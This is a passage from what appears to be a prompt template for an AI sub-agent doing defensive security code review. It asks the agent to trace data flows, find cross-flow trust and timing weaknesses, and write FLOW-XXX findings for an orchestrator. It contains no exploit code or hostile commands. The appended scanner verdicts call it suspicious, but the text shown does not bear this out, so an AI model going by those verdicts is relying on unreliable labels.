2. Are there implicit trust assumptions between flows?
3. Can an attacker trigger flow A to set up state exploited by flow B?
4. Are there timing dependencies between flows that can be exploited?

### Parameterized Tracing

The orchestrator may specify specific sub-flows to trace. If `{TRACE_TARGET}` is specified:
- Focus exclusively on that sub-flow
- Trace deeper: follow into utility functions, libraries, framework internals
- Document every function call in the path

## Output

Follow the LOD output instructions appended to this prompt. Write each finding as an atomic LOD-2 file to `{FINDINGS_DIR}/{FINDING-ID}.md`. Return only your LOD-0 summary table to the orchestrator.

Finding IDs: Use prefix `FLOW-XXX`

## Quality Standards

- Trace tables must be COMPLETE — every step from source to sink
- Every gap identified must include: what data, what step, what's missing, what's the impact
- Don't just report "missing validation" — specify WHAT validation is needed for WHAT context
- Cross-flow findings are often the most critical — prioritize them

{INCIDENTAL_FINDINGS_SECTION}


Security scan verdicts — ClawScan: suspicious | static analysis:  | VirusTotal: suspicious | SkillSpector: suspicious (CRITICAL)